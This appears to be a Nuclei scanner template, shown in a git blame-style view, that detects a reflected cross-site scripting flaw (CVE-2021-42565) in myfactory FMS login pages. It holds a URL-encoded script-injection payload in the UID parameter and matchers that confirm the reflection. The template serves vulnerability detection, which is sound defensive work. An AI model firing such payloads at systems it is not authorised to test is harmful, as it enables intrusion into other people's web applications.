2021-10-27 14:40:59 +00:00
|
|
|
id: CVE-2021-42565
|
2021-10-27 14:38:59 +00:00
|
|
|
|
|
|
|
info:
|
|
|
|
author: madrobot
|
2022-02-28 14:09:26 +00:00
|
|
|
name: myfactory FMS - Reflected Cross-Site Scripting
|
2021-10-27 14:38:59 +00:00
|
|
|
severity: medium
|
2022-02-28 14:09:26 +00:00
|
|
|
description: myfactory.FMS before 7.1-912 allows cross-site scripting via the UID parameter.
|
2021-10-27 14:38:59 +00:00
|
|
|
reference:
|
2022-02-28 14:09:26 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-42565
|
2021-10-27 14:38:59 +00:00
|
|
|
- https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-001/-cross-site-scripting-in-myfactory-fms
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.10
|
2021-10-27 14:40:59 +00:00
|
|
|
cve-id: CVE-2021-42565
|
2021-10-27 14:38:59 +00:00
|
|
|
cwe-id: CWE-79
|
2021-10-28 18:55:12 +00:00
|
|
|
tags: cve,cve2021,myfactory,xss
|
2021-10-27 14:38:59 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2021-10-28 18:55:12 +00:00
|
|
|
- '{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Denied&UID=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
|
|
- '{{BaseURL}}/system/login/SysLoginUser.aspx?Login=Denied&UID=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
2021-10-27 14:38:59 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: body
|
2021-10-28 18:55:12 +00:00
|
|
|
words:
|
|
|
|
- "</script><script>alert(document.domain)</script>"
|
2021-10-27 14:38:59 +00:00
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
2021-10-28 18:55:12 +00:00
|
|
|
part: header
|
2021-10-27 14:38:59 +00:00
|
|
|
words:
|
|
|
|
- "text/html"
|
2022-02-28 14:09:26 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/02/27
|